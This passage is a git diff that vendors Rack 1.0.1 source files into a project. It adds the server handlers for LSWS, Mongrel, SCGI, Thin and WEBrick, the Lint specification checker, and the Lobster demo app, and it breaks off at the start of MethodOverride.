diff --git a/vendor/gems/rack-1.0.1/lib/rack/handler/lsws.rb b/vendor/gems/rack-1.0.1/lib/rack/handler/lsws.rb
new file mode 100644
index 00000000..b4ddf4bb
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/handler/lsws.rb
@@ -0,0 +1,60 @@
+require 'lsapi'
+require 'rack/content_length'
+
+module Rack
+  module Handler
+    class LSWS
+      def self.run(app, options=nil)
+        while LSAPI.accept != nil
+          serve app
+        end
+      end
+      def self.serve(app)
+        app = Rack::ContentLength.new(app)
+
+        env = ENV.to_hash
+        env.delete "HTTP_CONTENT_LENGTH"
+        env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/"
+
+        rack_input = RewindableInput.new($stdin.read.to_s)
+
+        env.update(
+          "rack.version" => [1,0],
+          "rack.input" => rack_input,
+          "rack.errors" => $stderr,
+          "rack.multithread" => false,
+          "rack.multiprocess" => true,
+          "rack.run_once" => false,
+          "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
+        )
+
+        env["QUERY_STRING"] ||= ""
+        env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+        env["REQUEST_PATH"] ||= "/"
+        status, headers, body = app.call(env)
+        begin
+          send_headers status, headers
+          send_body body
+        ensure
+          body.close if body.respond_to? :close
+        end
+      end
+      def self.send_headers(status, headers)
+        print "Status: #{status}\r\n"
+        headers.each { |k, vs|
+          vs.split("\n").each { |v|
+            print "#{k}: #{v}\r\n"
+          }
+        }
+        print "\r\n"
+        STDOUT.flush
+      end
+      def self.send_body(body)
+        body.each { |part|
+          print part
+          STDOUT.flush
+        }
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/handler/mongrel.rb b/vendor/gems/rack-1.0.1/lib/rack/handler/mongrel.rb
new file mode 100644
index 00000000..7b448261
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/handler/mongrel.rb
@@ -0,0 +1,87 @@
+require 'mongrel'
+require 'stringio'
+require 'rack/content_length'
+require 'rack/chunked'
+
+module Rack
+  module Handler
+    class Mongrel < ::Mongrel::HttpHandler
+      def self.run(app, options={})
+        server = ::Mongrel::HttpServer.new(options[:Host] || '0.0.0.0',
+                                           options[:Port] || 8080)
+        # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
+        # Use is similar to #run, replacing the app argument with a hash of 
+        # { path=>app, ... } or an instance of Rack::URLMap.
+        if options[:map]
+          if app.is_a? Hash
+            app.each do |path, appl|
+              path = '/'+path unless path[0] == ?/
+              server.register(path, Rack::Handler::Mongrel.new(appl))
+            end
+          elsif app.is_a? URLMap
+            app.instance_variable_get(:@mapping).each do |(host, path, appl)|
+             next if !host.nil? && !options[:Host].nil? && options[:Host] != host
+             path = '/'+path unless path[0] == ?/
+             server.register(path, Rack::Handler::Mongrel.new(appl))
+            end
+          else
+            raise ArgumentError, "first argument should be a Hash or URLMap"
+          end
+        else
+          server.register('/', Rack::Handler::Mongrel.new(app))
+        end
+        yield server  if block_given?
+        server.run.join
+      end
+
+      def initialize(app)
+        @app = Rack::Chunked.new(Rack::ContentLength.new(app))
+      end
+
+      def process(request, response)
+        env = {}.replace(request.params)
+        env.delete "HTTP_CONTENT_TYPE"
+        env.delete "HTTP_CONTENT_LENGTH"
+
+        env["SCRIPT_NAME"] = ""  if env["SCRIPT_NAME"] == "/"
+
+        rack_input = request.body || StringIO.new('')
+        rack_input.set_encoding(Encoding::BINARY) if rack_input.respond_to?(:set_encoding)
+
+        env.update({"rack.version" => [1,0],
+                     "rack.input" => rack_input,
+                     "rack.errors" => $stderr,
+
+                     "rack.multithread" => true,
+                     "rack.multiprocess" => false, # ???
+                     "rack.run_once" => false,
+
+                     "rack.url_scheme" => "http",
+                   })
+        env["QUERY_STRING"] ||= ""
+        env.delete "PATH_INFO"  if env["PATH_INFO"] == ""
+
+        status, headers, body = @app.call(env)
+
+        begin
+          response.status = status.to_i
+          response.send_status(nil)
+
+          headers.each { |k, vs|
+            vs.split("\n").each { |v|
+              response.header[k] = v
+            }
+          }
+          response.send_header
+
+          body.each { |part|
+            response.write part
+            response.socket.flush
+          }
+        ensure
+          body.close  if body.respond_to? :close
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/handler/scgi.rb b/vendor/gems/rack-1.0.1/lib/rack/handler/scgi.rb
new file mode 100644
index 00000000..bd860a5d
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/handler/scgi.rb
@@ -0,0 +1,62 @@
+require 'scgi'
+require 'stringio'
+require 'rack/content_length'
+require 'rack/chunked'
+
+module Rack
+  module Handler
+    class SCGI < ::SCGI::Processor
+      attr_accessor :app
+      
+      def self.run(app, options=nil)
+        new(options.merge(:app=>app,
+                          :host=>options[:Host],
+                          :port=>options[:Port],
+                          :socket=>options[:Socket])).listen
+      end
+      
+      def initialize(settings = {})
+        @app = Rack::Chunked.new(Rack::ContentLength.new(settings[:app]))
+        @log = Object.new
+        def @log.info(*args); end
+        def @log.error(*args); end
+        super(settings)
+      end
+        
+      def process_request(request, input_body, socket)
+        env = {}.replace(request)
+        env.delete "HTTP_CONTENT_TYPE"
+        env.delete "HTTP_CONTENT_LENGTH"
+        env["REQUEST_PATH"], env["QUERY_STRING"] = env["REQUEST_URI"].split('?', 2)
+        env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+        env["PATH_INFO"] = env["REQUEST_PATH"]
+        env["QUERY_STRING"] ||= ""
+        env["SCRIPT_NAME"] = ""
+
+        rack_input = StringIO.new(input_body)
+        rack_input.set_encoding(Encoding::BINARY) if rack_input.respond_to?(:set_encoding)
+
+        env.update({"rack.version" => [1,0],
+                     "rack.input" => rack_input,
+                     "rack.errors" => $stderr,
+                     "rack.multithread" => true,
+                     "rack.multiprocess" => true,
+                     "rack.run_once" => false,
+
+                     "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
+                   })
+        status, headers, body = app.call(env)
+        begin
+          socket.write("Status: #{status}\r\n")
+          headers.each do |k, vs|
+            vs.split("\n").each { |v| socket.write("#{k}: #{v}\r\n")}
+          end
+          socket.write("\r\n")
+          body.each {|s| socket.write(s)}
+        ensure
+          body.close if body.respond_to? :close
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/handler/swiftiplied_mongrel.rb b/vendor/gems/rack-1.0.1/lib/rack/handler/swiftiplied_mongrel.rb
new file mode 100644
index 00000000..4bafd0b9
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/handler/swiftiplied_mongrel.rb
@@ -0,0 +1,8 @@
+require 'swiftcore/swiftiplied_mongrel'
+
+module Rack
+  module Handler
+    class SwiftipliedMongrel < Handler::Mongrel
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/handler/thin.rb b/vendor/gems/rack-1.0.1/lib/rack/handler/thin.rb
new file mode 100644
index 00000000..3d4fedff
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/handler/thin.rb
@@ -0,0 +1,18 @@
+require "thin"
+require "rack/content_length"
+require "rack/chunked"
+
+module Rack
+  module Handler
+    class Thin
+      def self.run(app, options={})
+        app = Rack::Chunked.new(Rack::ContentLength.new(app))
+        server = ::Thin::Server.new(options[:Host] || '0.0.0.0',
+                                    options[:Port] || 8080,
+                                    app)
+        yield server if block_given?
+        server.start
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/handler/webrick.rb b/vendor/gems/rack-1.0.1/lib/rack/handler/webrick.rb
new file mode 100644
index 00000000..5b9ae740
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/handler/webrick.rb
@@ -0,0 +1,71 @@
+require 'webrick'
+require 'stringio'
+require 'rack/content_length'
+
+module Rack
+  module Handler
+    class WEBrick < ::WEBrick::HTTPServlet::AbstractServlet
+      def self.run(app, options={})
+        options[:BindAddress] = options.delete(:Host) if options[:Host]
+        server = ::WEBrick::HTTPServer.new(options)
+        server.mount "/", Rack::Handler::WEBrick, app
+        trap(:INT) { server.shutdown }
+        yield server  if block_given?
+        server.start
+      end
+
+      def initialize(server, app)
+        super server
+        @app = Rack::ContentLength.new(app)
+      end
+
+      def service(req, res)
+        env = req.meta_vars
+        env.delete_if { |k, v| v.nil? }
+
+        rack_input = StringIO.new(req.body.to_s)
+        rack_input.set_encoding(Encoding::BINARY) if rack_input.respond_to?(:set_encoding)
+
+        env.update({"rack.version" => [1,0],
+                     "rack.input" => rack_input,
+                     "rack.errors" => $stderr,
+
+                     "rack.multithread" => true,
+                     "rack.multiprocess" => false,
+                     "rack.run_once" => false,
+
+                     "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
+                   })
+
+        env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+        env["QUERY_STRING"] ||= ""
+        env["REQUEST_PATH"] ||= "/"
+        if env["PATH_INFO"] == ""
+          env.delete "PATH_INFO"
+        else
+          path, n = req.request_uri.path, env["SCRIPT_NAME"].length
+          env["PATH_INFO"] = path[n, path.length-n]
+        end
+
+        status, headers, body = @app.call(env)
+        begin
+          res.status = status.to_i
+          headers.each { |k, vs|
+            if k.downcase == "set-cookie"
+              res.cookies.concat vs.split("\n")
+            else
+              vs.split("\n").each { |v|
+                res[k] = v
+              }
+            end
+          }
+          body.each { |part|
+            res.body << part
+          }
+        ensure
+          body.close  if body.respond_to? :close
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/head.rb b/vendor/gems/rack-1.0.1/lib/rack/head.rb
new file mode 100644
index 00000000..deab822a
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/head.rb
@@ -0,0 +1,19 @@
+module Rack
+
+class Head
+  def initialize(app)
+    @app = app
+  end
+
+  def call(env)
+    status, headers, body = @app.call(env)
+
+    if env["REQUEST_METHOD"] == "HEAD"
+      [status, headers, []]
+    else
+      [status, headers, body]
+    end
+  end
+end
+
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/lint.rb b/vendor/gems/rack-1.0.1/lib/rack/lint.rb
new file mode 100644
index 00000000..796807a0
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/lint.rb
@@ -0,0 +1,546 @@
+require 'rack/utils'
+
+module Rack
+  # Rack::Lint validates your application and the requests and
+  # responses according to the Rack spec.
+
+  class Lint
+    def initialize(app)
+      @app = app
+    end
+
+    # :stopdoc:
+
+    class LintError < RuntimeError; end
+    module Assertion
+      def assert(message, &block)
+        unless block.call
+          raise LintError, message
+        end
+      end
+    end
+    include Assertion
+
+    ## This specification aims to formalize the Rack protocol.  You
+    ## can (and should) use Rack::Lint to enforce it.
+    ##
+    ## When you develop middleware, be sure to add a Lint before and
+    ## after to catch all mistakes.
+
+    ## = Rack applications
+
+    ## A Rack application is an Ruby object (not a class) that
+    ## responds to +call+.
+    def call(env=nil)
+      dup._call(env)
+    end
+
+    def _call(env)
+      ## It takes exactly one argument, the *environment*
+      assert("No env given") { env }
+      check_env env
+
+      env['rack.input'] = InputWrapper.new(env['rack.input'])
+      env['rack.errors'] = ErrorWrapper.new(env['rack.errors'])
+
+      ## and returns an Array of exactly three values:
+      status, headers, @body = @app.call(env)
+      ## The *status*,
+      check_status status
+      ## the *headers*,
+      check_headers headers
+      ## and the *body*.
+      check_content_type status, headers
+      check_content_length status, headers, env
+      [status, headers, self]
+    end
+
+    ## == The Environment
+    def check_env(env)
+      ## The environment must be an true instance of Hash (no
+      ## subclassing allowed) that includes CGI-like headers.
+      ## The application is free to modify the environment.
+      assert("env #{env.inspect} is not a Hash, but #{env.class}") {
+        env.instance_of? Hash
+      }
+
+      ##
+      ## The environment is required to include these variables
+      ## (adopted from PEP333), except when they'd be empty, but see
+      ## below.
+
+      ## <tt>REQUEST_METHOD</tt>:: The HTTP request method, such as
+      ##                           "GET" or "POST". This cannot ever
+      ##                           be an empty string, and so is
+      ##                           always required.
+
+      ## <tt>SCRIPT_NAME</tt>:: The initial portion of the request
+      ##                        URL's "path" that corresponds to the
+      ##                        application object, so that the
+      ##                        application knows its virtual
+      ##                        "location". This may be an empty
+      ##                        string, if the application corresponds
+      ##                        to the "root" of the server.
+
+      ## <tt>PATH_INFO</tt>:: The remainder of the request URL's
+      ##                      "path", designating the virtual
+      ##                      "location" of the request's target
+      ##                      within the application. This may be an
+      ##                      empty string, if the request URL targets
+      ##                      the application root and does not have a
+      ##                      trailing slash. This value may be
+      ##                      percent-encoded when I originating from
+      ##                      a URL.
+
+      ## <tt>QUERY_STRING</tt>:: The portion of the request URL that
+      ##                         follows the <tt>?</tt>, if any. May be
+      ##                         empty, but is always required!
+
+      ## <tt>SERVER_NAME</tt>, <tt>SERVER_PORT</tt>:: When combined with <tt>SCRIPT_NAME</tt> and <tt>PATH_INFO</tt>, these variables can be used to complete the URL. Note, however, that <tt>HTTP_HOST</tt>, if present, should be used in preference to <tt>SERVER_NAME</tt> for reconstructing the request URL.  <tt>SERVER_NAME</tt> and <tt>SERVER_PORT</tt> can never be empty strings, and so are always required.
+
+      ## <tt>HTTP_</tt> Variables:: Variables corresponding to the
+      ##                            client-supplied HTTP request
+      ##                            headers (i.e., variables whose
+      ##                            names begin with <tt>HTTP_</tt>). The
+      ##                            presence or absence of these
+      ##                            variables should correspond with
+      ##                            the presence or absence of the
+      ##                            appropriate HTTP header in the
+      ##                            request.
+
+      ## In addition to this, the Rack environment must include these
+      ## Rack-specific variables:
+
+      ## <tt>rack.version</tt>:: The Array [1,0], representing this version of Rack.
+      ## <tt>rack.url_scheme</tt>:: +http+ or +https+, depending on the request URL.
+      ## <tt>rack.input</tt>:: See below, the input stream.
+      ## <tt>rack.errors</tt>:: See below, the error stream.
+      ## <tt>rack.multithread</tt>:: true if the application object may be simultaneously invoked by another thread in the same process, false otherwise.
+      ## <tt>rack.multiprocess</tt>:: true if an equivalent application object may be simultaneously invoked by another process, false otherwise.
+      ## <tt>rack.run_once</tt>:: true if the server expects (but does not guarantee!) that the application will only be invoked this one time during the life of its containing process. Normally, this will only be true for a server based on CGI (or something similar).
+      ##
+
+      ## Additional environment specifications have approved to
+      ## standardized middleware APIs.  None of these are required to
+      ## be implemented by the server.
+
+      ## <tt>rack.session</tt>:: A hash like interface for storing request session data.
+      ##                         The store must implement:
+      if session = env['rack.session']
+        ##                         store(key, value)         (aliased as []=);
+        assert("session #{session.inspect} must respond to store and []=") {
+          session.respond_to?(:store) && session.respond_to?(:[]=)
+        }
+
+        ##                         fetch(key, default = nil) (aliased as []);
+        assert("session #{session.inspect} must respond to fetch and []") {
+          session.respond_to?(:fetch) && session.respond_to?(:[])
+        }
+
+        ##                         delete(key);
+        assert("session #{session.inspect} must respond to delete") {
+          session.respond_to?(:delete)
+        }
+
+        ##                         clear;
+        assert("session #{session.inspect} must respond to clear") {
+          session.respond_to?(:clear)
+        }
+      end
+
+      ## The server or the application can store their own data in the
+      ## environment, too.  The keys must contain at least one dot,
+      ## and should be prefixed uniquely.  The prefix <tt>rack.</tt>
+      ## is reserved for use with the Rack core distribution and other
+      ## accepted specifications and must not be used otherwise.
+      ##
+
+      %w[REQUEST_METHOD SERVER_NAME SERVER_PORT
+         QUERY_STRING
+         rack.version rack.input rack.errors
+         rack.multithread rack.multiprocess rack.run_once].each { |header|
+        assert("env missing required key #{header}") { env.include? header }
+      }
+
+      ## The environment must not contain the keys
+      ## <tt>HTTP_CONTENT_TYPE</tt> or <tt>HTTP_CONTENT_LENGTH</tt>
+      ## (use the versions without <tt>HTTP_</tt>).
+      %w[HTTP_CONTENT_TYPE HTTP_CONTENT_LENGTH].each { |header|
+        assert("env contains #{header}, must use #{header[5,-1]}") {
+          not env.include? header
+        }
+      }
+
+      ## The CGI keys (named without a period) must have String values.
+      env.each { |key, value|
+        next  if key.include? "."   # Skip extensions
+        assert("env variable #{key} has non-string value #{value.inspect}") {
+          value.instance_of? String
+        }
+      }
+
+      ##
+      ## There are the following restrictions:
+
+      ## * <tt>rack.version</tt> must be an array of Integers.
+      assert("rack.version must be an Array, was #{env["rack.version"].class}") {
+        env["rack.version"].instance_of? Array
+      }
+      ## * <tt>rack.url_scheme</tt> must either be +http+ or +https+.
+      assert("rack.url_scheme unknown: #{env["rack.url_scheme"].inspect}") {
+        %w[http https].include? env["rack.url_scheme"]
+      }
+
+      ## * There must be a valid input stream in <tt>rack.input</tt>.
+      check_input env["rack.input"]
+      ## * There must be a valid error stream in <tt>rack.errors</tt>.
+      check_error env["rack.errors"]
+
+      ## * The <tt>REQUEST_METHOD</tt> must be a valid token.
+      assert("REQUEST_METHOD unknown: #{env["REQUEST_METHOD"]}") {
+        env["REQUEST_METHOD"] =~ /\A[0-9A-Za-z!\#$%&'*+.^_`|~-]+\z/
+      }
+
+      ## * The <tt>SCRIPT_NAME</tt>, if non-empty, must start with <tt>/</tt>
+      assert("SCRIPT_NAME must start with /") {
+        !env.include?("SCRIPT_NAME") ||
+        env["SCRIPT_NAME"] == "" ||
+        env["SCRIPT_NAME"] =~ /\A\//
+      }
+      ## * The <tt>PATH_INFO</tt>, if non-empty, must start with <tt>/</tt>
+      assert("PATH_INFO must start with /") {
+        !env.include?("PATH_INFO") ||
+        env["PATH_INFO"] == "" ||
+        env["PATH_INFO"] =~ /\A\//
+      }
+      ## * The <tt>CONTENT_LENGTH</tt>, if given, must consist of digits only.
+      assert("Invalid CONTENT_LENGTH: #{env["CONTENT_LENGTH"]}") {
+        !env.include?("CONTENT_LENGTH") || env["CONTENT_LENGTH"] =~ /\A\d+\z/
+      }
+
+      ## * One of <tt>SCRIPT_NAME</tt> or <tt>PATH_INFO</tt> must be
+      ##   set.  <tt>PATH_INFO</tt> should be <tt>/</tt> if
+      ##   <tt>SCRIPT_NAME</tt> is empty.
+      assert("One of SCRIPT_NAME or PATH_INFO must be set (make PATH_INFO '/' if SCRIPT_NAME is empty)") {
+        env["SCRIPT_NAME"] || env["PATH_INFO"]
+      }
+      ##   <tt>SCRIPT_NAME</tt> never should be <tt>/</tt>, but instead be empty.
+      assert("SCRIPT_NAME cannot be '/', make it '' and PATH_INFO '/'") {
+        env["SCRIPT_NAME"] != "/"
+      }
+    end
+
+    ## === The Input Stream
+    ##
+    ## The input stream is an IO-like object which contains the raw HTTP
+    ## POST data.
+    def check_input(input)
+      ## When applicable, its external encoding must be "ASCII-8BIT" and it
+      ## must be opened in binary mode, for Ruby 1.9 compatibility.
+      assert("rack.input #{input} does not have ASCII-8BIT as its external encoding") {
+        input.external_encoding.name == "ASCII-8BIT"
+      } if input.respond_to?(:external_encoding)
+      assert("rack.input #{input} is not opened in binary mode") {
+        input.binmode?
+      } if input.respond_to?(:binmode?)
+      
+      ## The input stream must respond to +gets+, +each+, +read+ and +rewind+.
+      [:gets, :each, :read, :rewind].each { |method|
+        assert("rack.input #{input} does not respond to ##{method}") {
+          input.respond_to? method
+        }
+      }
+    end
+
+    class InputWrapper
+      include Assertion
+
+      def initialize(input)
+        @input = input
+      end
+
+      def size
+        @input.size
+      end
+
+      ## * +gets+ must be called without arguments and return a string,
+      ##   or +nil+ on EOF.
+      def gets(*args)
+        assert("rack.input#gets called with arguments") { args.size == 0 }
+        v = @input.gets
+        assert("rack.input#gets didn't return a String") {
+          v.nil? or v.instance_of? String
+        }
+        v
+      end
+
+      ## * +read+ behaves like IO#read. Its signature is <tt>read([length, [buffer]])</tt>.
+      ##   If given, +length+ must be an non-negative Integer (>= 0) or +nil+, and +buffer+ must
+      ##   be a String and may not be nil. If +length+ is given and not nil, then this method
+      ##   reads at most +length+ bytes from the input stream. If +length+ is not given or nil,
+      ##   then this method reads all data until EOF.
+      ##   When EOF is reached, this method returns nil if +length+ is given and not nil, or ""
+      ##   if +length+ is not given or is nil.
+      ##   If +buffer+ is given, then the read data will be placed into +buffer+ instead of a
+      ##   newly created String object.
+      def read(*args)
+        assert("rack.input#read called with too many arguments") {
+          args.size <= 2
+        }
+        if args.size >= 1
+          assert("rack.input#read called with non-integer and non-nil length") {
+            args.first.kind_of?(Integer) || args.first.nil?
+          }
+          assert("rack.input#read called with a negative length") {
+            args.first.nil? || args.first >= 0
+          }
+        end
+        if args.size >= 2
+          assert("rack.input#read called with non-String buffer") {
+            args[1].kind_of?(String)
+          }
+        end
+        
+        v = @input.read(*args)
+        
+        assert("rack.input#read didn't return nil or a String") {
+          v.nil? or v.instance_of? String
+        }
+        if args[0].nil?
+          assert("rack.input#read(nil) returned nil on EOF") {
+            !v.nil?
+          }
+        end
+        
+        v
+      end
+
+      ## * +each+ must be called without arguments and only yield Strings.
+      def each(*args)
+        assert("rack.input#each called with arguments") { args.size == 0 }
+        @input.each { |line|
+          assert("rack.input#each didn't yield a String") {
+            line.instance_of? String
+          }
+          yield line
+        }
+      end
+      
+      ## * +rewind+ must be called without arguments. It rewinds the input
+      ##   stream back to the beginning. It must not raise Errno::ESPIPE:
+      ##   that is, it may not be a pipe or a socket. Therefore, handler
+      ##   developers must buffer the input data into some rewindable object
+      ##   if the underlying input stream is not rewindable.
+      def rewind(*args)
+        assert("rack.input#rewind called with arguments") { args.size == 0 }
+        assert("rack.input#rewind raised Errno::ESPIPE") {
+          begin
+            @input.rewind
+            true
+          rescue Errno::ESPIPE
+            false
+          end
+        }
+      end
+
+      ## * +close+ must never be called on the input stream.
+      def close(*args)
+        assert("rack.input#close must not be called") { false }
+      end
+    end
+
+    ## === The Error Stream
+    def check_error(error)
+      ## The error stream must respond to +puts+, +write+ and +flush+.
+      [:puts, :write, :flush].each { |method|
+        assert("rack.error #{error} does not respond to ##{method}") {
+          error.respond_to? method
+        }
+      }
+    end
+
+    class ErrorWrapper
+      include Assertion
+
+      def initialize(error)
+        @error = error
+      end
+
+      ## * +puts+ must be called with a single argument that responds to +to_s+.
+      def puts(str)
+        @error.puts str
+      end
+
+      ## * +write+ must be called with a single argument that is a String.
+      def write(str)
+        assert("rack.errors#write not called with a String") { str.instance_of? String }
+        @error.write str
+      end
+
+      ## * +flush+ must be called without arguments and must be called
+      ##   in order to make the error appear for sure.
+      def flush
+        @error.flush
+      end
+
+      ## * +close+ must never be called on the error stream.
+      def close(*args)
+        assert("rack.errors#close must not be called") { false }
+      end
+    end
+
+    ## == The Response
+
+    ## === The Status
+    def check_status(status)
+      ## This is an HTTP status. When parsed as integer (+to_i+), it must be
+      ## greater than or equal to 100.
+      assert("Status must be >=100 seen as integer") { status.to_i >= 100 }
+    end
+
+    ## === The Headers
+    def check_headers(header)
+      ## The header must respond to +each+, and yield values of key and value.
+      assert("headers object should respond to #each, but doesn't (got #{header.class} as headers)") {
+         header.respond_to? :each
+      }
+      header.each { |key, value|
+        ## The header keys must be Strings.
+        assert("header key must be a string, was #{key.class}") {
+          key.instance_of? String
+        }
+        ## The header must not contain a +Status+ key,
+        assert("header must not contain Status") { key.downcase != "status" }
+        ## contain keys with <tt>:</tt> or newlines in their name,
+        assert("header names must not contain : or \\n") { key !~ /[:\n]/ }
+        ## contain keys names that end in <tt>-</tt> or <tt>_</tt>,
+        assert("header names must not end in - or _") { key !~ /[-_]\z/ }
+        ## but only contain keys that consist of
+        ## letters, digits, <tt>_</tt> or <tt>-</tt> and start with a letter.
+        assert("invalid header name: #{key}") { key =~ /\A[a-zA-Z][a-zA-Z0-9_-]*\z/ }
+
+        ## The values of the header must be Strings,
+        assert("a header value must be a String, but the value of " +
+          "'#{key}' is a #{value.class}") { value.kind_of? String }
+        ## consisting of lines (for multiple header values, e.g. multiple
+        ## <tt>Set-Cookie</tt> values) seperated by "\n".
+        value.split("\n").each { |item|
+          ## The lines must not contain characters below 037.
+          assert("invalid header value #{key}: #{item.inspect}") {
+            item !~ /[\000-\037]/
+          }
+        }
+      }
+    end
+
+    ## === The Content-Type
+    def check_content_type(status, headers)
+      headers.each { |key, value|
+        ## There must be a <tt>Content-Type</tt>, except when the
+        ## +Status+ is 1xx, 204 or 304, in which case there must be none
+        ## given.
+        if key.downcase == "content-type"
+          assert("Content-Type header found in #{status} response, not allowed") {
+            not Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i
+          }
+          return
+        end
+      }
+      assert("No Content-Type header found") {
+        Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i
+      }
+    end
+
+    ## === The Content-Length
+    def check_content_length(status, headers, env)
+      headers.each { |key, value|
+        if key.downcase == 'content-length'
+          ## There must not be a <tt>Content-Length</tt> header when the
+          ## +Status+ is 1xx, 204 or 304.
+          assert("Content-Length header found in #{status} response, not allowed") {
+            not Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i
+          }
+
+          bytes = 0
+          string_body = true
+
+          if @body.respond_to?(:to_ary)
+            @body.each { |part|
+              unless part.kind_of?(String)
+                string_body = false
+                break
+              end
+
+              bytes += Rack::Utils.bytesize(part)
+            }
+
+            if env["REQUEST_METHOD"] == "HEAD"
+              assert("Response body was given for HEAD request, but should be empty") {
+                bytes == 0
+              }
+            else
+              if string_body
+                assert("Content-Length header was #{value}, but should be #{bytes}") {
+                  value == bytes.to_s
+                }
+              end
+            end
+          end
+
+          return
+        end
+      }
+    end
+
+    ## === The Body
+    def each
+      @closed = false
+      ## The Body must respond to +each+
+      @body.each { |part|
+        ## and must only yield String values.
+        assert("Body yielded non-string value #{part.inspect}") {
+          part.instance_of? String
+        }
+        yield part
+      }
+      ##
+      ## The Body itself should not be an instance of String, as this will
+      ## break in Ruby 1.9.
+      ##
+      ## If the Body responds to +close+, it will be called after iteration.
+      # XXX howto: assert("Body has not been closed") { @closed }
+
+
+      ##
+      ## If the Body responds to +to_path+, it must return a String
+      ## identifying the location of a file whose contents are identical
+      ## to that produced by calling +each+; this may be used by the
+      ## server as an alternative, possibly more efficient way to
+      ## transport the response.
+
+      if @body.respond_to?(:to_path)
+        assert("The file identified by body.to_path does not exist") {
+          ::File.exist? @body.to_path
+        }
+      end
+
+      ##
+      ## The Body commonly is an Array of Strings, the application
+      ## instance itself, or a File-like object.
+    end
+
+    def close
+      @closed = true
+      @body.close  if @body.respond_to?(:close)
+    end
+
+    # :startdoc:
+
+  end
+end
+
+## == Thanks
+## Some parts of this specification are adopted from PEP333: Python
+## Web Server Gateway Interface
+## v1.0 (http://www.python.org/dev/peps/pep-0333/). I'd like to thank
+## everyone involved in that effort.
diff --git a/vendor/gems/rack-1.0.1/lib/rack/lobster.rb b/vendor/gems/rack-1.0.1/lib/rack/lobster.rb
new file mode 100644
index 00000000..f63f419a
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/lobster.rb
@@ -0,0 +1,65 @@
+require 'zlib'
+
+require 'rack/request'
+require 'rack/response'
+
+module Rack
+  # Paste has a Pony, Rack has a Lobster!
+  class Lobster
+    LobsterString = Zlib::Inflate.inflate("eJx9kEEOwyAMBO99xd7MAcytUhPlJyj2
+    P6jy9i4k9EQyGAnBarEXeCBqSkntNXsi/ZCvC48zGQoZKikGrFMZvgS5ZHd+aGWVuWwhVF0
+    t1drVmiR42HcWNz5w3QanT+2gIvTVCiE1lm1Y0eU4JGmIIbaKwextKn8rvW+p5PIwFl8ZWJ
+    I8jyiTlhTcYXkekJAzTyYN6E08A+dk8voBkAVTJQ==".delete("\n ").unpack("m*")[0])
+
+    LambdaLobster = lambda { |env|
+      if env["QUERY_STRING"].include?("flip")
+        lobster = LobsterString.split("\n").
+          map { |line| line.ljust(42).reverse }.
+          join("\n")
+        href = "?"
+      else
+        lobster = LobsterString
+        href = "?flip"
+      end
+
+      content = ["<title>Lobstericious!</title>",
+                 "<pre>", lobster, "</pre>",
+                 "<a href='#{href}'>flip!</a>"]
+      length = content.inject(0) { |a,e| a+e.size }.to_s
+      [200, {"Content-Type" => "text/html", "Content-Length" => length}, content]
+    }
+
+    def call(env)
+      req = Request.new(env)
+      if req.GET["flip"] == "left"
+        lobster = LobsterString.split("\n").
+          map { |line| line.ljust(42).reverse }.
+          join("\n")
+        href = "?flip=right"
+      elsif req.GET["flip"] == "crash"
+        raise "Lobster crashed"
+      else
+        lobster = LobsterString
+        href = "?flip=left"
+      end
+
+      res = Response.new
+      res.write "<title>Lobstericious!</title>"
+      res.write "<pre>"
+      res.write lobster
+      res.write "</pre>"
+      res.write "<p><a href='#{href}'>flip!</a></p>"
+      res.write "<p><a href='?flip=crash'>crash!</a></p>"
+      res.finish
+    end
+
+  end
+end
+
+if $0 == __FILE__
+  require 'rack'
+  require 'rack/showexceptions'
+  Rack::Handler::WEBrick.run \
+    Rack::ShowExceptions.new(Rack::Lint.new(Rack::Lobster.new)),
+    :Port => 9292
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/lock.rb b/vendor/gems/rack-1.0.1/lib/rack/lock.rb
new file mode 100644
index 00000000..93238528
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/lock.rb
@@ -0,0 +1,16 @@
+module Rack
+  class Lock
+    FLAG = 'rack.multithread'.freeze
+
+    def initialize(app, lock = Mutex.new)
+      @app, @lock = app, lock
+    end
+
+    def call(env)
+      old, env[FLAG] = env[FLAG], false
+      @lock.synchronize { @app.call(env) }
+    ensure
+      env[FLAG] = old
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/methodoverride.rb b/vendor/gems/rack-1.0.1/lib/rack/methodoverride.rb
new file mode 100644
index 00000000..0eed29f4
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/methodoverride.rb
@@ -0,0 +1,27 @@
+module Rack
+  class MethodOverride
+    HTTP_METHODS = %w(GET HEAD PUT POST DELETE OPTIONS)
+
+    METHOD_OVERRIDE_PARAM_KEY = "_method".freeze
